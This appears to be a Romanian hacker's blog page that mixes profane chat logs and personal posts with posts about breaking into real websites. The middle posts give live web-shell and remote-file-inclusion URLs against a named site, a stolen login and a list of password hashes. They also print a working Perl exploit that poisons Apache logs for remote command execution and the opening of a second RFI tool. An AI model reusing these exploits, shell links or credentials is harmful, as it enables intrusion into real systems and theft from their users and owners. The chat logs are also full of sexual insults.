kw3rln

din categoria flama vs kw3rln: mangekyou sharingan: muie kw3rln - [0_o]: stf mangekyou sharingan: muie kw3rln - [0_o]: ratatule la scoala numa un cuvant teo invatat? mangekyou sharingan: muie mangekyou sharingan: nu tri mangekyou sharingan: trei* mangekyou sharingan: muie nu & trei kw3rln - [0_o]: igen mangekyou sharingan: muie kw3rln - [0_o]: sa-ti creasca arici sub brad kw3rln - [0_o]: usturetear in cur mangekyou sharingan: muie kw3rln - [0_o]: HAGA THAKH E AYGHANAH mangekyou sharingan: muie kw3rln - [0_o]: iti dau un sut in cur de te plictisesti in aer kw3rln - [0_o]: sa te fut pe unde bei tu aer mangekyou sharingan: muie kw3rln - [0_o]: datias cu buricun frunte mangekyou sharingan: muie kw3rln - [0_o]: mancatiar matele pestisorii mangekyou sharingan: muie kw3rln - [0_o]: ciufulimiai stufu din delta curului mangekyou sharingan: muie kw3rln - [0_o]: poateti dau o muien cap mangekyou sharingan: muie kw3rln - [0_o]: facemias schiuri din crucea matii mangekyou sharingan: muie kw3rln - [0_o]: esti plin de kkt astazi mangekyou sharingan: muie kw3rln - [0_o]: kkt facut din laba TACI ODATA mangekyou sharingan: muie kw3rln - [0_o]: o besina iti mai trebe si acole dai duhu mangekyou sharingan: muie kw3rln - [0_o]: om bolnav facut din greseala...nedorit pe lume..prezervativ spart kw3rln - [0_o]: sa te futa cainiii kw3rln - [0_o]: taci mangekyou sharingan: muie kw3rln - [0_o]: mancamiai crema pulii de oaie cu cabina ce essti mangekyou sharingan: muie kw3rln - [0_o]: amu bun pe pus pe rst kw3rln - [0_o]: muie mangekyou sharingan: muie kw3rln - [0_o]: mah flama taci mangekyou sharingan: muie kw3rln - [0_o]: cacamas inainte ta cand mergi in limba mangekyou sharingan: muie

meri crismas

da .. ala de la windows

trebuie sa-mi cumpar si eu niste dinamita!

linkl http://www.diasporaromana.com/index.php?view=selectcity&targetview=post l-am cautat pe google si am mai dat de site-uri care aveau index.php?view=selectcity&targetview=post asa ca celelelalte nu au sters copyrightu

http://www.nud.com/members/ user: mike parola: 22072002

deja creca am 15 requesturi pt aconturi la nud.com asa ca ca pun aici la dispozitie access la tot contentu nud.com Metoda: http://rstcenter.com/forum/xzero-community-classifieds-v4-95-11-lfi-t9581.rst http://www.diasporaromana.com/userimgs/c99.php?act=ls&d=%2Fhome%2Fnudcom%2Fpublic_html%2F&sort=0a si access la shell in caz ca un tampit sterge c99.php http://www.diasporaromana.com/config.inc.php?path_escape=http://hdtv-il.com/c99.txt? In curand tot contentu nud.com o sa fie postat aici ! numai ca acuma plec sa ma imbat a da... te poti loga cu cont da ii protejat de htaccess userii si parolele criptate 10360667:hX3dW0SbOx8p. 16506204:WndfSF8QDsE7c 86312901:iZt8kOZWzThoc 87041216:dDxN/vHba6WH6 9g2U5x3S:I8U1KhF2L2/rk P2RRSbus:gOyCHi9y35dUo hTYPejTz:QIT9piD8pk6xs 9eQqXbU2:V_LdWBt2DpyfI mike:gguHRc2CQCZRI KQ8Ppt5U:xKZFPfrV.C9eY 021708:NgEAUjnL1u5NQ u3ch96QE:sS4QN/ZwFIWA2 tdGu7duJ:OFuSgT2VVjLI6 010708:ct0xu/0dTcLtQ b6pP23x7:DfOwmj.sHUm0g 011908:ENEKPIMnoKLoM yfcxqQ92:kFuf4O70usO7c 4jxS7f5H:cescECyBBSdpY cladire:8UN3VWHhecZFc

# XZero Community Classifieds <= v4.95.11 Remote File Inclusion # linK : http://www.xzeroscripts.com # download: http://rapidshare.com/files/66809648/XZCl4.95.11.rar # # ©od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A http://rstcenter.com # # we have in config.inc.php: # line303: require_once("{$path_escape}ipblock.inc.php"); # # link: http://site.com/config.inc.php?path_escape=shell.txt%00 Exemplu: http://www.diasporaromana.com/config.inc.php?path_escape=http://hdtv-il.com/c99.txt?

a incercat un prieten sa ia access la nud.ro asa ca am zis de ce nu sa intram pe server... am cautat pe site-urile de pe acelasi server cu nud.ro si am gasit http://www.diasporaromana.com .. softul era xzero..downloadat si am spus ca le si public daca tot am gasit bugurile oricum astea nu va intereseaza LFI -u.. sql injection..exploitul facut de mine... ! uitati RFI-ul: http://rstcenter.com/forum/xzero-community-classifieds-v4-95-11-rfi-t9582.rst Link RFI: http://www.diasporaromana.com/config.inc.php?path_escape=http://hdtv-il.com/c99.txt? #!/usr/bin/perl # # XZero Community Classifieds <= v4.95.11 LFI & SQL Injection # linK : [url]http://www.xzeroscripts.com[/url] # download: [url]http://rapidshare.com/files/66809648/XZCl4.95.11.rar[/url] # # (c)od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A [url]http://rstcenter.com[/url] # # Local file inclusion in index.php: # # switch($xview) # { # [ ..... ] # case "page" : $page = "$_GET[pagename].php"; break; # [ ..... ] # } # # include_once($page); # in common.inc.php line 40: $xview = $_GET['view'] ? $_GET['view'] : "main"; # # SQL Injection in post.php # line 511: $sql = "SELECT expireafter FROM $t_subcats WHERE subcatid = $_REQUEST[subcatid]"; # ( And more but useless cuz admin password is in config.inc.php) # # LFI: [url]http://site.com/index.php?view=page&pagename=[/url][Local_FIle]%00 # Example: [url]http://www.diasporaromana.com/index.php?view=page&pagename=tetete[/url] # # SQL: [url]http://site.com/index.php?view=post&cityid=2?=en&catid=2&subcatid=[/url][SQL] # Example: http://www.diasporaromana.com/index.php?view=post&cityid=220?=en&catid=5&subcatid=18' # #GREETZ TO ALL RST MEMBERZ # And now exploit for LFI # use IO::Socket; use LWP::Simple; @apache=( "../../../../../var/log/httpd/access_log", "../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../etc/httpd/logs/access_log", "../../../../../etc/httpd/logs/access.log", "../../../../../etc/httpd/logs/error_log", "../../../../../etc/httpd/logs/error.log", "../../.. /../../var/www/logs/access_log", "../../../../../var/www/logs/access.log", "../../../../../usr/local/apache/logs/access_log", "../../../../../usr/local/apache/logs/access.log", "../../../../../var/log/apache/access_log", "../../../../../var/log/apache/access.log", "../../../../../var/log/access_log", "../../../../../var/www/logs/error_log", "../../../../../var/www/logs/error.log", "../../../../../usr/local/apache/logs/error_log", "../../../../../usr/local/apache/logs/error.log", "../../../../../var/log/apache/error_log", "../../../../../var/log/apache/error.log", "../../../../../var/log/access_log", "../../../../../var/log/error_log" ); print "[RST] XZero Community Classifieds <= v4.95.11 Remote Command Execution Exploit\n"; print "[RST] need magic_quotes_gpc = off\n"; print "[RST] c0ded by Kw3rLN from Romanian Security Team [ [url]http://rstcenter.com[/url] ] \n\n"; if (@ARGV < 3) { print "[RST] Usage: xzero.pl [host] [path] [apache_path]\n\n"; print "[RST] Apache Path: \n"; $i = 0; while($apache[$i]) { print "[$i] $apache[$i]\n";$i++;} exit(); } $host=$ARGV[0]; $path=$ARGV[1]; $apachepath=$ARGV[2]; print "[RST] Injecting some code in log files...\n"; $CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>"; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n"; print $socket "GET ".$path.$CODE." HTTP/1.1\r\n"; print $socket "User-Agent: ".$CODE."\r\n"; print $socket "Host: ".$host."\r\n"; print $socket "Connection: close\r\n\r\n"; close($socket); print "[RST] Shell!! write q to exit !\n"; print "[RST] IF not working try another apache path\n\n"; print "[shell] ";$cmd = <STDIN>; while($cmd !~ "q") { $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n"; print $socket "GET ".$path."index.php?view=page&pagename=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n"; print $socket "Host: ".$host."\r\n"; print $socket "Accept: */*\r\n"; print $socket "Connection: close\r\n\n"; while ($raspuns = <$socket>) { print $raspuns; } print "[shell] "; $cmd = <STDIN>; }

#!/usr/bin/perl# RFI Web Comp v.1 - Public Version # Code by JosS / Jose Luis Góngora Fernández # Contact: sys-project[at]hotmail.com use HTTP::Request; use LWP::UserAgent; sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title RFI Web Comp v.1 - By JosS"); system ("color 02"); } } &lw; print "\t\t########################################################\n\n"; print "\t\t# RFI Web Comp .v1 - Spanish Hackers Team #\n\n"; print "\t\t# by JosS #\n\n"; print "\t\t########################################################\n\n"; print "Insert host:(ex: http://www.site.com/)\n"; $host=<STDIN>; chomp $host; print "\n"; # Si la url no tiene http: al principio if ( $host !~ /^http:/ ) { # lo a

te iubeste femeile [neme si flama]

intoarce capu cu 180 grade ???????? ??o??q??s n? ?s z??n ?? ?q??? ?u??nd ?dnp http://www.revfad.com/flip.html

da e fff interesant.. back to trillian

nici acuma nu merge? care are pm sa-mi dea un pm sa vb cu el pe mess sa fac niste teste! ca mie mi se vede perfect la orice rezolutie

spit -falling [grove mix]

o fost anunt pe forum ca vin in buc asa in vizita ! trebuia sa zici ...

a.. mi-a placut..tocmai a primit VIP bebexar si konkhra la fel ! VIP

http://ha.ckers.org/fierce/

flama e genul de om care at cand umbla pe drum sa strige lumea dupa el FLAMAAAAAAAAAAa

poa o sa te exciti prea tare .. spiry ma tem ca le-am editat direct de pe camera

Da ..am fost pana la bucuresti asa de plictiseala sa-i mai vad pe baieti [2 zile in total] .. m-am intalnit cu flama,nemessis,bebexar, konkhra,moubik, spiry, encoded .. ! Am tot discutat chestii neinteresante..si interesante... flama desigur interesat numai de curul meu.. am fost la o sala de net [am jucat pt prima data dota(bleah)]... cam atat...am dormit la bebexar[mersi bebexar pt gazda] ... Cel mai mult mi-a parut rau ca nu mai vrea , cred, viitoarea sotie a lui flama sa ne primeasca la nunta ! [ FLAMA,ratatu, DESIGUR CA VROIA ]! faza a fost ca ne-a prins in bucatarie pe noi, flama,kw3 si moubik tragand niste iarba [ms moubik] si aia cred ca a convins-o sa nu ne mai cheme la nunta ... pacat.. mare chef ratat a da.. am tras o mica poza inainte sa ma urc in tren

mangekyou sharingan: sti cate palme peste ceafa iti iei ? pentru fiecare cuvant ratat care il scoti pe gura cate o palma kw3rln - [0_o]: i feel loved mangekyou sharingan: o sa feel beat up kw3rln - [0_o]: sa ma astepti cu sticla de vin mangekyou sharingan: o sa tio infig in gura daca vorbesti ciudat we are a happy couple

:PP

sursa: zoso

poate vrei si avertisment ! link editat fara referer